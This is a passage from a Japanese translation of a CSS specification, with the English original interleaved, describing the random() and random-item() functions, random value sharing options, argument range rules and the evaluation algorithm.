See § 8.3 Evaluating Random Values and § 8.4 Caching Random Values: the &lt;random-value-sharing&gt; value for details on how the function is evaluated.＼
</p>

<p>
各~引数は、
順に：
◎
Its arguments are:
</p>

<dl class="valdef">
	<dt>`random-value-sharing$t</dt>
	<dd>
文書~内の`~random関数$のうち［
どれとどれが同じ`~random基底~値$を共有し，
どれが別個な`~random基底~値$を取得することになるか
］を制御する。
◎
The optional &lt;random-value-sharing&gt; controls which random functions in the document will share a random base value and which will get distinct values.＼
</dd>
	<dd>
省略可能であり、
省略された場合は `auto$v として挙動する。
◎
If &lt;random-value-sharing&gt; is omitted, it behaves as auto.
</dd>
	<dd>
`random-value-sharing$t を成す各~optionの詳細は、
下を見よ。
それらの挙動の精確な記述は、
`§ ~random値の~cache法＠#random-caching$
を見よ。
◎
See below for details on the &lt;random-value-sharing&gt; options, and see § 8.4 Caching Random Values: the &lt;random-value-sharing&gt; value for a precise description of their behavior.
</dd>

	<dt>`calc-sum$t, `calc-sum^t</dt>
	<dd>
これらの引数（`計算式$）は、
順に，当の関数を解決した結果がとり得る範囲の［
最小~値, 最大~値
］を指定する。
◎
The two required calculations specify the minimum and maximum value the function can resolve to. Both limits are inclusive (the result can be the min or the max).
</dd>
	<dd>
［
最大~値 ~LTE 最小~値
］の場合、
最大~値は最小~値と等しいものとして挙動する。
【この場合、結果は最小~値に限られ，~randomにならなくなる。】
◎
If the maximum value is less than the minimum value, it behaves as if it’s equal to the minimum value.
</dd>
	<dd class="example">
例えば， `random(100px, 300px)^v は、
`100px^v 以上 `300px^v 以下の~randomな `length$t に解決されることになる。
◎
For example, random(100px, 300px) will resolve to a random &lt;length&gt; between 100px and 300px: it might be 100px, 300px, or any value between them like 234.5px.
</dd>

	<dt>`calc-sum$t</dt>
	<dd>
省略可能な最後の引数は、
段差~値を指定する。
指定された場合
⇒
当の関数を解決した結果は、
最小~値からの差が段差の整数倍になるよう制約され，
そこから~randomに選ばれる。
【省略された場合、そのように制約されない。】
◎
The final optional argument specifies a step value: the values the function can resolve to are further restricted to the form min + (N * step), where N is a non-negative integer chosen uniformly randomly from the possible values that result in an in-range value.
</dd>
	<dd class="example">
<p>
例えば、
`random(100px, 300px, 50px)^v
を解決した結果は，［
`100px^v,
`150px^v,
`200px^v,
`250px^v,
`300px^v
］いずれかに限られ、
`120px^v 様な値を返すことは決してない。
◎
For example, random(100px, 300px, 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px; it will never return a value like 120px.
</p>

<p>
最大~値は、
実際にアリな値として~~現れないこともあることに注意。
例えば， `random(100px, 200px, 30px)^v におけるアリな値は
⇒
`100px^v,
`130px^v,
`160px^v,
`190px^v
◎
Note that the max value might not actually show up as a possible value; for example, in random(100px, 200px, 30px), the possible values are 100px, 130px, 160px, and 190px.
</p>

	</dd>
	<dd class="note">注記：
最小から最大までが正確に段差の整数~倍になるよう意図されたとしても、
数量-精度の課題により，そうならくなることもある。
これらの課題を避けるため、
結果が［
アリな最~大な~random値をとる
］かつ［
それは最大~値に`ごく近い^em
］場合には，代わりに最大~値が利用される。
精確な詳細は、
`§ ~random値の評価-法＠#random-evaluation$
を見よ。
◎
Note: Even if it’s intended that min and max are exactly some integer multiple of step apart, numeric precision issues can prevent that from being true. To avoid these issues, if the max value is very close to equalling a stepped value (above or below it), the max value is used as the final stepped value instead. See § 8.3 Evaluating Random Values for precise details.
</dd>
	<dd class="example">
<p>
`round$f の定義にて説明したとおり，~CSSの値には “生来な” 精度は無いが、
段差~値を利用すれば，精度をアテガえる
— 例えば：
</p>
		<ul>
			<li>
`random(100px, 500px, 1px)^v は、
解決した結果を `1px^v の整数倍に限るよう制約する。
</li>
			<li>
`random(1, 10, 1)^v は、
解決した結果を整数に限るよう制約する。
</li>
		</ul>
◎
As explained in the definition of round(), CSS has no "natural" precision for values, but the step value can be used to assign one.
◎
For example, random(100px, 500px, 1px) restricts it to resolving only to whole px values; random(1, 10, 1) is restricted to resolving only to integers; etc.
</dd>
	<dd class="note">注記：
段差~値を供することは、
~random値を生成してから丸めることとは等価でない。
例えば，
`random(100px, 200px, 50px)^v は、
3 通りのアリな値
— `100px^v, `150px^v, `200px^v —
を同じ［
3 回に 1 回の~~確率
］で生成することになる。
一方で，
`round(random(100px, 200px), 50px)^v は、
同じ 3 通りのアリな値を生成するが，［
`100px^v は 4 回に 1 回／
`150px^v は 2 回に 1 回／
`200px^v は 4 回に 1 回
］生じることになる。
◎
Note: Providing a step value is not equivalent to generating a random value and then rounding it; random(100px, 200px, 50px) will generate three possible values (100px, 150px, 200px) all with a 1/3 chance, while round(random(100px, 200px), 50px) will generate the same three possible values, but 150px will occur 1/2 the time, while 100px and 200px will only occur 1/4 of the time each.
</dd>
</dl>

<p>
`random-value-sharing$t 値は、
2 通りの共有-法を制御する：
◎
The &lt;random-value-sharing&gt; value controls sharing along two axises:
</p>
<ul>
	<li>
同じ要素に適用される~style内の異なるもの用に利用される`~random関数$どうし
— ［
`auto$v ／ `dashed-ident$tv
］値を介して。
◎
between random functions used for different things in the style for a single element, via the auto or &lt;dashed-ident&gt; values
</li>
	<li>
いくつかの要素に適用される~style内の同じもの用に利用される`~random関数$どうし
— `match-element$v 値（または，その不在）を介して。
◎
between random functions used for the same thing in the styles across several elements, via the match-element value (or its absence)
</li>
</ul>

<dl class="valdef">
	<dt>`auto@v</dt>
	<dd>
同じ要素に適用される各~style内の各`~random関数$は、
別個な`~random基底~値$を利用することになる。
（が、
これについての `small wrinkle^en は，
`下の注記＠#auto-naming-details$を見よ。）
◎
Each random function in an element’s styles will use a distinct random base value. (But see the note below for a small wrinkle about this.)
</dd>
	<dd>
［
`auto$v, `dashed-ident$tv
］どちらも指定されなかった場合、
`auto$v として挙動する。
◎
If neither auto nor &lt;dashed-ident&gt; are specified, it behaves as auto.
</dd>

	<dt id="valdef-random-dashed-ident">`dashed-ident$t</dt>
	<dd>
同じ要素に適用される各~style内の各`~random関数$のうち
⇒＃
同じ `dashed-ident$tv を伴うものどうしは，同じ`~random基底~値$を共有することになる。
異なる `dashed-ident$tv を伴うものは，別個な`~random基底~値$を利用することになる。
◎
Each random function in an element’s styles with the same &lt;dashed-ident&gt; will share the same random base value; ones with different &lt;dashed-ident&gt;s will use distinct random base values.
</dd>

	<dt>`match-element@v</dt>
	<dd>
省略された場合、
`~random関数$は，要素ごとに別個な`~random基底~値$を利用することになる。
◎
If match-element is omitted, random functions on different elements will use distinct random base values.
</dd>
	<dd>
<p>
指定された場合、
`~random関数$のうち：
</p>
		<ul>
			<li>
同じ `dashed-ident$tv が指定されたものどうしは、
要素たちにわたって同じ`~random基底~値$を共有することになる。
</li>
			<li>
`dashed-ident$tv が指定されなかったものどうしは、
同じ~style内で同じ仕方【？】で利用されたならば，
要素たちにわたって同じ`~random基底~値$を共有することになる。
（が、
これについての `small wrinkle^en は，
`下の注記＠#auto-naming-details$を見よ。）
</li>
		</ul>
◎
If specified, random functions on different elements will share the same random base value if they have the same &lt;dashed-ident&gt; (if specified) or if they’re used in the same style in the same way (if not). (Again, see the note below for a small wrinkle about this.)
</dd>

	<dt>`fixed@v `number [0,1]$t</dt>
	<dd>
指定された場合、
所与の `number^t 値は，当の`~random関数$の`~random基底~値$として利用される
— ［
`~random基底~値$を生成すること,
それがどう共有されるか制御すること
］を~UAに許容することなく。
◎
If fixed &lt;number&gt; is specified, the &lt;number&gt; is used as the random function’s random base value, rather than allowing the UA to generate a random base value and controlling how it’s shared.
</dd>
	<dd>
`1^v は、
形上では妥当な値として許容されるが
（~CSS文法は閉な範囲しか表出できないので），［
`1^v 未満かつ【実装が】表現-可能な `1^v に最も近い値
］としてふるまう。
なので、
どの`~random基底~値$も 0 以上 1 未満になる。
◎
While 1 is technically allowed as a valid value (because CSS grammars can only express closed ranges), the random base value is clamped to the highest representable value less than 1, so random base values remain in the half-open range `[0, 1)`.
</dd>
	<dd class="note">注記：
作者にとっては、
これは，~pageを~testしている間は予測-可能な値を取得するためとして有用になる`かもしれない^em。
が、
それ【~UAが生成する`~random基底~値$】が存在する理由は，
`継承＠~CASCADE#inheritance$における，ある際どい事例
— 作者の期待に反して，要素たちが`~random基底~値$を`共有しなく^emなるような事例 —
を修正するためにある。
それは、
ある稀な`算出d値$においては観測-可能になるが，
それ以外では要素の~style内には決して~~現れない。
◎
Note: While this might be useful for authors to get predictable values while testing a page, the reason it exists is to fix some corner cases in inheritance that would otherwise cause elements to not share random base values when authors would expect them to. It is observable in some rare computed values, but otherwise will never show up in an element’s styles.
</dd>
</dl>

<div class="example">
<dl>
	<dt>
利用ごとに異なる~random値：
◎
Maximum random:＼
</dt>
	<dd>
<p>
両~propが取得する~random値は異なることに加え，
それらは要素ごとに異なる。
その結果、
様々な矩形が得られる。
◎
both properties get a different value, and it’s different per element too, so you get lots of random rectangles.
</p>

<pre class="lang-css">
.random-rect {
  width: random(100px, 200px);
  height: random(100px, 200px);
}
</pre>

	</dd>

	<dt>
同じ要素の中で，名前により共有される~random値
◎
Shared by name within an element:＼
</dt>
	<dd>
<p>
両~propが取得する~random値は同じになるが，
それらは要素ごとに異なる。
その結果、
様々な~sizeの正方形が得られる。
◎
both properties get the same value, but it’s still different per element, so you get lots of random squares.
</p>

<pre class="lang-css">
.random-square {
  width: random(--foo, 100px, 200px);
  height: random(--foo, 100px, 200px);
}
</pre>
	</dd>

	<dt>
各~要素の ある~propの中で共有される~random値：
◎
Shared between elements within a property:＼
</dt>
	<dd>
<p>
両~propが取得する~random値は異なるが，
それらは他の要素と共有される。
その結果、
~sizeが一致する たくさんの矩形が得られる。
◎
both properties get different values, but they’re shared by every element, so you get lots of identical rectangles of a single random size.
</p>

<pre class="lang-css">
.shared-random-rect {
  width: random(match-element, 100px, 200px);
  height: random(match-element, 100px, 200px);
}
</pre>

	</dd>

	<dt>
大域的に共有される~random値：
◎
Shared globally:＼
</dt>
	<dd>
<p>
両~propが取得する~random値は同じになることに加え，
それらは他の要素と共有される。
その結果、
~sizeが一致するたくさんの正方形が得られる。
◎
both properties get the same value, and every element shares that value, so you get lots of identical squares of a single random size.
</p>

<pre class="lang-css">
.shared-random-squares {
  width: random(--foo match-element, 100px, 200px);
  height: random(--foo match-element, 100px, 200px);
}
</pre>
	</dd>
</dl>
</div>

<details class="note" id="auto-naming-details">
<summary>
`auto$v はどう働くかについての詳細
◎
Details about how auto works
</summary>

<p>
`autov 値は，形上では［
作者が指定している `dashed-ident^t に類似な`名前$rC
］を生成するが、
それは［
当の`~random関数$が~~現れる~prop【の名前】
］および［
同じ~propの値における当の`~random関数$の~index【値の中で何個目のそれか】
］を利用して自動-生成される。
例えば，
`margin: random(0px, 10px) random(0px, 10px)$p を成す
2 個の関数は、
順に，`名前$rCとして［
`margin 0^l, `margin 1^l
］を取得する。
◎
Technically, the auto value generates a name similar to an author specifying a &lt;dashed-ident&gt;, but it’s auto-generated using the property the random function shows up in, and its index among multiple random functions in that property. For example, in margin: random(0px, 10px) random(0px, 10px), the first function gets a name of "margin 0" while the second gets a name of "margin 1".
</p>

<p>
これは、
次を確保する：
◎
This ensures that＼
</p>
<ul>
	<li>
同じ要素に対し自動-生成される各`名前$rCが一意になり，
各自が自前の`~random基底~値$を取得するようになる。
◎
every auto-generated name on a single element is unique, and thus will get their own random base value.＼
</li>
	<li>
<code class="css">.foo { `width:random(match-element, 100px, 200px)$p; }</code>
の様な宣言は、
`.foo^css に合致する要素たちが，自身の `width^p【！width】 用に`~random基底~値$を共有させるようにする
（それらすべては、
同じ自動-生成された`名前$rC `width 0^l を有する）。
◎
It also ensures that declarations like .foo { width: random(match-element, 100px, 200px); } will cause all the .foo elements to share a random base value for their width (they all have the same auto-generated name, "width 0").
</li>
</ul>

<p>
しかしながら、
少数の他の事例では，期待されないかもしれない共有-法を作成し得ることも意味する。
例えば，次において：
◎
However, it also means that a few other cases can create sharing that might be unexpected. For example, in the following:
</p>

<pre class="lang-css">
.foo {
  width: random(match-element, 100px, 200px);
}
.bar {
  width: random(match-element, 200px, 300px);
}
</pre>

<p>
`.foo^css, `.bar^css どちらに合致する要素も，
`random$f 関数~用に自動-生成される`名前$rCは `width 0^l になるので、
それらは同じ`~random基底~値$を共有することになり，
互いに関係するように~random値たちを生成することになる
— その様に一緒に~linkすることが意図されない場合でも。
◎
Both .foo and .bar elements have random() functions whose auto-generated names are "width 0", so they’ll share the same random base value and generate related random values, even if they were never intended to be linked together like that.
</p>

<p>
類似に，次においては：
◎
Similarly, in the following:
</p>

<pre class="lang-css">
.foo {
  animation: flicker linear random(1s, 2s);
}
.foo:hover {
  animation: glow linear random(4s, 6s);
}
</pre>

<p>
2 個の `random$f 関数は，
同じ自動-生成される`名前$rC `animation 0^l を有するので、
それらは同じ要素で`~random基底~値$を共有することになり，
互いに関係するように~random値たちを生成することになる
— 作者は それらを “異なる利用” と見なす見込みが高いが。
◎
The two random() functions have the same auto-generated name "animation 0", so they’ll share random base values on a single element and generate related random values, even tho the author likely considers them to be "different uses".
</p>

<p>
この［
期待されない共有-法
］は、
あいにく避けようがない。
~CSSは、［
作者が各~要素~用の~styleたちを`どう^em組織化するか
］を一般に~careしない。
特に，いくつかの要素を［
`.foo, .bar {...}^css の様な 1 個の~style規則,
`.foo {...} .bar {...}^css の様な複数個の~style規則
］どちらで~styleしても
— あるいは，各~要素に個別に `style$ 属性を設定することにより~styleしても —
作者は同じ結果を取得することになる。
このことは，作者が~random値を利用していようが変わらない必要があるので、
~random値たちは，それらが［
どう`設定されたか^emではなく，どう`利用されたか^em
］でしか判別できない。
◎
This unexpected sharing is, unfortunately, unavoidable. CSS generally doesn’t care how you organize styles for your elements; in particular, whether you style several elements with a single style rule like .foo, .bar {...}, multiple style rules like .foo {...} .bar {...}, or by setting the style attribute on each element individually, you’ll get the same results. This needs to continue to be true even when you’re using random values, so we can’t distinguish random values by how they’re set, only how they’re used.
</p>

<p>
~stylesheetにおいては、［
“関係する” 要素たちを~styleすること,
“独立な” 要素たちを~styleすること
］の間には，構文上の区別は無く，
“独立な” 状態を判別するようなそれも無いので、
~UAは，［
すべての要素は，この目的に関係するようになり得る
］ものと扱わなければならない。
これが望ましくない場合、
作者は，常に，一意になるに足る `dashed-ident$tv を給せる
— 次の様に：
要素たちが成す ある集合に対しては
`random(--sidebar-width match-element, ...)^v,
別の集合に対しては
`random(--card-width match-element, ...)^v
。
あるいは，異なる規則たちに対し
`random(--flicker, ...)^v,
`random(--glow, ...)^v
。
◎
There’s no syntactic distinction in a stylesheet between styling "related" elements and "independent" elements, or distinguishing "independent" states, so we must treat all elements as potentially related for this purpose. If this is undesirable, you can always supply a sufficiently unique &lt;dashed-ident&gt; yourself, like random(--sidebar-width match-element, ...) on one set of elements and random(--card-width match-element, ...) on another, or random(--flicker, ...) and random(--glow, ...) on the different rules.
</p>

<p>
これは、
`dashed-ident$tv を給した方が省略したときよりも`~random基底~値$の共有-法を`抑制できる^em
ようになる唯一の事例である。
◎
This is the one case where supplying a &lt;dashed-ident&gt; can reduce the sharing of random base values versus omitting it.
</p>
</details>

<p>
入力を成す`計算式$たちは、［
各~計算式は、
どの値にも解決され得る
］が，`一貫した型を有して$いなければナラナイ
— さもなければ、
当の関数は無効になる。
当の関数の`型$は、
当の計算式たちの`一貫した型$になる。
◎
All of the calculation arguments can resolve to any value, but must have a consistent type or else the function is invalid; the result’s type will be the consistent type.
</p>

<div class="example">
<p>
`random(50px, 100%, 1em)^v は、
百分率は［
これを利用した文脈において妥当である
］かつ［
`length$t に解決される
］と見做すならば，妥当になる
— どの引数も，長さに解決されるので。
◎
For example, random(50px, 100%, 1em) is valid (assuming percentages are valid in the context this is used, and resolve to a &lt;length&gt;), as all three arguments resolve to a length.
</p>

<p>
`random(50px, 180deg)^v は、
長さと角度が同じ`型$ではないので，妥当でない。
◎
However, random(50px, 180deg) is invalid, as lengths and angles are not the same type.
</p>
</div>

<p>
`random$f 関数は、
引数として与えた`計算式$たちを数量-値に`単純~化＠~CSSVAL#simplify-a-calculation-tree$できるようになり次第，単純~化できる。
それがどう解決されるについての詳細は、
`§ ~random値の~cache法＠#random-caching$
を見よ。
◎
A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. See § 8.4 Caching Random Values: the &lt;random-value-sharing&gt; value for details on how it’s resolved.
</p>

<p>
`random$f 関数を`算出d値$の時点では`単純~化＠~CSSVAL#simplify-a-calculation-tree$できない場合、［
当の関数の `random-value-sharing$t が，その`~random基底~値$へ設定される
］ことを除いて，最大限に単純~化された形へ算出される。
◎
If a random() function can’t be simplified by computed value time, then it computes to its maximally-simplified form, but with its &lt;random-value-sharing&gt; set to its random base value.
</p>

<div class="example">
<p>
宣言 `width: random(50%, 100%)$p は、
`算出d値$の時点では単純~化できない
— 百分率は，`使用~値$の情報（当の要素の`包含塊$の~size）に依存するので。
◎
For example, given the declaration width: random(50%, 100%), the calculations can’t be simplified at computed value time because the percentages depend on used value information (the size of the element’s containing block).
</p>

<p>
なので，
`width$p ~propの`算出d値$は、
`random(fixed <var>何らかの~randomな値</var>, 50%, 100%)^v になる。
【！meaning it will eventually…】
◎
So, the computed value of the property is width: random(fixed .1234, 50%, 100%) (or some other random value instead of .1234), meaning it will eventually resolve to 56.17% (or similar for the actual random value).
</p>
</div>

<p class="issue">
少なくとも理論~上は、
~prop以外の文脈で `random$f を利用しても，大丈夫なはずである
— その`~random~cache用~key$の`要素~ID$rCは ~NULL に設定されるだけであり、
必要yなら，適切な記述子~等に基づいて`名前$rCを算出することになる。
<code class="css">`media^at (max-width: random(100px, 500px)) {...}</code>
の様なものに対しては、
~cache用~keyの`名前$rCを
"<code class="literal">@media max-width 1</code>"
の様な何かにすることで，きちんと定義できる。
とは言え、
それを許容することが求まれるのかどうかは，疑わしい。
◎
At least in theory it should be fine to use random() in non-property contexts, it would just set the "element id" of the caching key to null, and, if necessary, compute an appropriate descriptor/etc-based caching key. Like, @media (max-width: random(100px, 500px)) {...} could be well-defined; the caching key is just "@media max-width 1" or something. I suspect we want to disallow it, tho?
</p>

			</section>
			<section id="random-infinities">
<h4 title="Argument Ranges">8.1.1. 引数の範囲</h4>

<p>
`random(A, B)^f においては：
◎
In random(A, B),＼
</p>
<ul>
	<li>
<p>
%A は無限ならば
⇒
結果は無限になる。
</p>

<p class="trans-note">【
無限とは［
正な無限大, 負な無限大
］の総称を表す。
明示的には指定されていないが、
入力と結果における その正負は，一致するべきであろう。
】</p>
◎
if A is infinite, the result is infinite.
</li>
	<li>
他の場合、
%A と %B の差は無限または［
~UAが無限として扱うことになるほど十分に巨大である
］ならば
⇒
結果は ~NaN になる。
◎
If A is finite, but the difference between A and B is either infinite or large enough to be treated as infinite in the user agent, the result is NaN.
</li>
</ul>

<p>
`random(A, B, C)^f においては、
上で %A, %B 用に定義した挙動が適用され，それらに該当しない場合：
◎
In random(A, B, C), the same behavior for A and B as defined above applies.＼
</p>
<ul>
	<li>
%C は無限ならば
⇒
結果は %A になる。
◎
If C is infinite, the result is A.
</li>
	<li>
他の場合【！negative, zero, or positive】、
引数 %C （段差）が［
その定義にて言及した “整数倍” がとり得る範囲
（ `§ ~random値の評価-法＠#random-evaluation$ に言及される %N ）が，
~UAにおいて無限になる
］ほどに 0 に十分~近いならば
⇒
%C を`無視する^emモノトスル。
◎
If C is negative, zero, or positive but close enough to zero that the range for the step multiplier (the N mentioned in § 8.3 Evaluating Random Values) would be infinite in the user agent, the step must be ignored. (The function is treated as if only A and B were provided.)
</li>
</ul>

<p class="note">注記：
通例の`~math関数$と同じく、
いずれかの計算式~引数が ~NaN になる場合，
結果は~NaNになる。
◎
Note: As usual for math functions, if any argument calculation is NaN, the result is NaN.
</p>

		</section>
		<section id="random-item">
<h3 title="Picking a Random Item From a List: the random-item() function">8.2.  ~listから~randomな~itemを~~選ぶ： `random-item^f 関数</h3>

<p>
`random-item@f
関数は、
2 個目以降の引数たちが成す~listから~randomに選ばれる~itemに解決される。
◎
The random-item() function resolves to a random item from among its list of items.
</p>

<pre class="prod">
`random-item()$t
	= random-item( `random-value-sharing$t , [ `declaration-value$t? ]# )
</pre>

<p>
この関数が どう評価されるかについての詳細は、［
`§ ~random値の評価-法＠#random-evaluation$,
`§ ~random値の~cache法＠#random-caching$
］を見よ。
◎
See § 8.3 Evaluating Random Values and § 8.4 Caching Random Values: the &lt;random-value-sharing&gt; value for details on how the function is evaluated.＼
</p>

<p>
この関数においては、
`random-value-sharing$t は`要求される^em。
それは、
`random$f のときと同じに解釈される
（詳細は、
`§ ~random値の~cache法＠#random-caching$
を見よ）。
◎
The required &lt;random-value-sharing&gt; is interpreted identically to random(). (See § 8.4 Caching Random Values: the &lt;random-value-sharing&gt; value for details.)
</p>

<p class="note">注記：
`random-value-sharing$t 引数が
`random$f においては省略可能な一方，
`random-item$f においては要求される理由は、
構文解析にある
（ `random-item(--foo, --bar, --baz)^v が［
3 個の `declaration-value$t 引数をとる
］のか［
2 個のそれと `random-value-sharing$t 引数をとる
］のか伝えることはアリでない）。
◎
Note: The &lt;random-value-sharing&gt; argument is required in random-item(), but optional in random(), for parsing reasons (it’s impossible to tell whether random-item(--foo, --bar, --baz) has three &lt;declaration-value&gt; arguments or two and a &lt;random-value-sharing&gt; argument).
</p>

<p>
残りの引数は、
~CSS値たちが成す任意な連列である。
`random-item$f 関数には、
この連列から~randomに選ばれる一つが代入される。
◎
The remaining arguments are arbitrary sequences of CSS values. The random-item() function is substituted with one of these sequences, chosen uniformly at random.
</p>

<p>
`random-item$f 関数は、
`var$f の様な`任意-代入~関数$である。
◎
The random-item() function is an arbitrary substitution function, like var().
</p>

<div class="note">
<p>注記：
すなわち，
`random-item$f を利用する場合：
◎
That is, if you use random-item():
</p>
<ul>
	<li>
`random-item$f （および他の`任意-代入~関数$）自体は、
構文上は妥当である限り，
~prop全体が構文解析-時点では妥当であると見做される。
◎
So long as random-item() itself (and any other arbitrary substitution functions) is syntactically valid, the entire property is assumed to be valid at parse time.
</li>
	<li>
`random-item$f には、
`算出d値$の時点で
— `var$f へ`代入-$するときと同じく —
［
何であれ それを解決した結果の値
］が代入される
— したがって、
すべての子は，同じ解決した結果の値を継承する。
◎
random-item() is substituted with whatever value it resolves to at computed value time when you’d substitute a var(), so children all inherit the same resolved value.
</li>
	<li>
値が代入された結果，~propが無効になる場合、
当の~propの値は，`無効が保証される値$になる。
◎
If the substituted value ends up making the property invalid, the property’s value becomes the guaranteed-invalid value.
</li>
</ul>
</div>

		</section>
		<section id="random-evaluation">
<h3 data-algorithm="random-evaluation" title="Evaluating Random Values">8.3. ~random値の評価-法</h3>

<div class="algo">
<p>
所与の［
`~random基底~値$ %R を伴う`~random関数$ %関数
］の値を評価する~algoは、
%関数 に応じて：
◎
Given a random function with a random base value R, the value of the function is:
</p>

<ul class="switch">
	<li>
<p>
`random$f ならば：
</p>

<p class="trans-note">【
以下では、
`§ 引数の範囲＠#random-infinities$ は適用-済みと見做される
— そこで結果が決定された場合、
以下は遂行されない。
】</p>
		<ol>
			<li>
%最小 ~LET %関数 の 1 個目の `calc-sum$t 引数を評価した結果
◎
↓</li>
			<li>
%最大 ~LET %関数 の 2 個目の `calc-sum$t 引数を評価した結果
◎
↓</li>
			<li>
<p>
~IF［
%最大 ~LT %最小
］
⇒
%最大 ~SET %最小
</p>

<p class="trans-note">【
この段は、
この訳による補完。
】</p>
◎
↓</li>
			<li>
%段差 ~LET %関数 の 3 個目の `calc-sum$t 引数は［
指定されたならば それを評価した結果【の絶対~値】／
~ELSE_ ε
］
◎
↓</li>
			<li>
~IF［
%段差 ~EQ ε
］
⇒
~RET %最小 ~PLUS %R ~MUL ( %最大 ~MINUS %最小 )
◎
for a random() function with min and max, but no step
• Return min + R * (max - min)
</li>
			<li>
%微小数 ~LET `max^op( %段差 ~DIV 1000, 【実装が】利用している数量-型において表現-可能な最~小な正な値 )
◎
for a random() function with min, max, and step
• Let epsilon be step / 1000, or the smallest representable value greater than zero in the numeric type being used if epsilon would round to zero.
</li>
			<li>
<p>
%N ~LET 次を満たす最~大な整数
⇒
%最小 ~PLUS %N ~MUL %段差 ~LTE %最大 ~PLUS %微小数
</p>

<p class="trans-note">【
%段差 が 0 に極めて近い事例は、
`§ 引数の範囲＠#random-infinities$
にて取扱われる。
】</p>
◎
Let N be the largest integer such that min + N * step is less than or equal to max.
◎
If N produces a value that is not within epsilon of max, but N+1 would produce a value within epsilon of max, set N to N+1.
</li>
			<li>
%~index ~LET `~randomな整数を生成する$( %N ~PLUS 1, %R )
◎
Let step index be a random integer less than N+1, given R.
</li>
			<li>
%値 ~LET %最小 ~PLUS %~index ~MUL %段差
◎
Let value be min + step index * step.
</li>
			<li>
~RET ［
次が満たされるならば %最大 ／
~ELSE_ %値
］
⇒
［
%~index ~EQ %N
］~AND［
%最大 ~MINUS %微小数 ~LTE %値
］~AND［
%値 ~LTE %最大 ~PLUS %微小数
］
◎
If step index is N and value is within epsilon of max, return max.
◎
Otherwise, return value.
</li>
		</ol>

<details class="note">
<summary>
%微小数 と %最大 の詳細
◎
Epsilon/max Details
</summary>

<p>
%微小数 は、
有用な “ほどよい” 値として，
%段差 ~DIV 1000 になるよう選ばれた
— ［
作者が意図しない結果を不用意に誘発することは，ほぼ見込まれない
］ほど十分に小さいが［
浮動小数点~精度による誤差を~~吸収することが保証される
］には十分に大きい値として。
◎
epsilon was chosen to be step / 1000 as a useful "middle ground" value: small enough that it’s very unlikely to accidentally trigger when the author didn’t intend it, but large enough that it’s guaranteed to catch floating-point precision errors.
</p>

<p>
その~~粗さも，作者が逆用し易い領分に~~収まる：
%最小 から %最大 までの差は %段差 の整数~倍になることが意味されたが，
%段差 は有限桁な 10 進数でない場合、
%段差 を 5 桁か 6 桁の精度で書く限り，
最~大な結果は %最大 から %微小数 以内に入るはずである。
◎
It’s size is also within the realm for authors to exploit themselves; if their max is meant to be an integer multiple of their step, but the step is not a terminating decimal, as long as they write the step with 5 or 6 digits of precision then the largest value should land within epsilon of max.
</p>

<p>
例えば、
`random(0px, 100px, 33.3px)^v は値 `100px^v を生成しない一方で，
`random(0px, 100px, 33.333px)^v は生成する
（前者における %微小数 は `.0333px^v になり，
段差の 3 倍 `99.9px^v と %最大 との差 `.1px^v は %微小数 を超えるが、
後者における %微小数は `.033333px^v になり，
%段差 の 3 倍 `99.999px^v と %最大 との差は %微小数 よりずっと小さい `.001px^v になる）。
（それでも、
段~数が巨大~過ぎる場合，これを打破するに十分な乖離をもたらし得るが、
よほど極端な利用事例でない限り働く。）
◎
For example, while random(0px, 100px, 33.3px) will not generate a 100px value (the epsilon is .0333px, but 3 steps yields 99.9px, which is .1px from max, more than the epsilon), random(0px, 100px, 33.333px) will (the epsilon is .033333px, similar to the previous example, but 3 steps yields 99.999px, which is .001px from max, much less than the epsilon). (A sufficiently large number of steps could still cause enough divergence to defeat this, but it works for any remotely reasonable use-case.)
</p>

<p>
もちろん、
有限桁でない 10 進数を “正確に” 表現する`計算式$を利用しても働く：
`random(0px, 100px, 100px / 3)^v は、
`100px^v を生成-可能になることが保証される
— 段差~値は、［
%微小数 よりずっと小さい浮動小数点~精度による誤差
］の~subjectにしかならないので。
◎
Using a calculation to "exactly" represent non-terminating decimals will also work, of course: random(0px, 100px, 100px / 3) is guaranteed to be able to generate a 100px value, as the step value will only be subject to floating-point precision errors far smaller than the epsilon.
</p>
</details>
	</li>
	<li>
<p>
`random-item$f ならば：
</p>
		<ol>
			<li>
%値~群 ~LET %関数 の `declaration-value$t 引数たちが成す`~list$
</li>
			<li>
%~index ~LET `~randomな整数を生成する$( %値~群 の`~size$, %R )
</li>
			<li>
~RET %値~群[ %~random整数 ]
</li>
		</ol>
◎
for a random-item() function with N &lt;declaration-value&gt;? arguments:
• Let index be a random integer less than N, given R.
• Return the random int’th argument (0-indexed).
</li>
</ul>
</div>

<div class="algo">
`~randomな整数を生成する@
~algoは、
所与の
( 正な整数 %上限, `~random基底~値$ %R )
に対し
（結果は 0 以上 %上限 `未満^em になる）
⇒
~RET <code class="value">`round＠~CSSVAL#funcdef-round$(down, %R ~MUL %上限, 1)</code>
◎
To generate a random integer less than some integer limit given a random base value R, return round(down, R * limit, 1) 
</div>

		</section>
		<section id="random-caching">
<h3 title="Caching Random Values: the &lt;random-value-sharing&gt; value">8.4. ~random値の~cache法： `random-value-sharing$t 値</h3>

<p>
~JSの様な~programming言語においては，
~code内に明瞭な時間的~順序付けが在るので、
`Math.random()^c に対する~callの様なものが`いつ評価されるか^emを正確に伝えれる。
結果は変数~内に格納できるので、
複数の箇所で［
単独の~random値を再利用しているのか，別個な~random値を利用しているのか
］は，明瞭になる。
◎
In a programming language like JavaScript, there’s a clear temporal ordering to code, so you can tell exactly when something like a call to Math.random() is evaluated. You can also store the results in a variable, making it clear when you’re reusing a single random value in multiple places, versus using a distinct random value in each location.
</p>

<p>
他方，~CSSは宣言的な言語なので
（~codeは、
特定0の順序で “実行される” ことはなく，
何かが何回 “実行されるか” に対する制御も無い）、
同じ~styleを複数の要素に適用することは，ごく容易であるが：
◎
CSS, on the other hand, is a declarative language (code is not "executed" in any particular order, nor is there any control over how many times something is "executed");＼
it makes it very easy to apply identical styles to multiple elements but＼
</p>
<ul>
	<li>
各~要素に別個な値を指定することは困難である
（ `random$f が［
それを値に利用している~propが適用される各~要素
］に対し［
同じ値, 別個な値
］どちらに解決するよう意味されるかは、
不明瞭である）。
◎
difficult to specify distinct values for each of them (making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied to or to distinct values on each);＼
</li>
	<li>
“変数” の機能性は，ごく制限される
（特定0の［
~randomに生成された値
］を何箇所かで意図的に再利用することは、
困難である）。
◎
and it has very limited "variable" functionality (making it difficult to intentionally reuse a particular randomly-generated value in several places).
</li>
</ul>

<p>
これらの課題を解決するため、
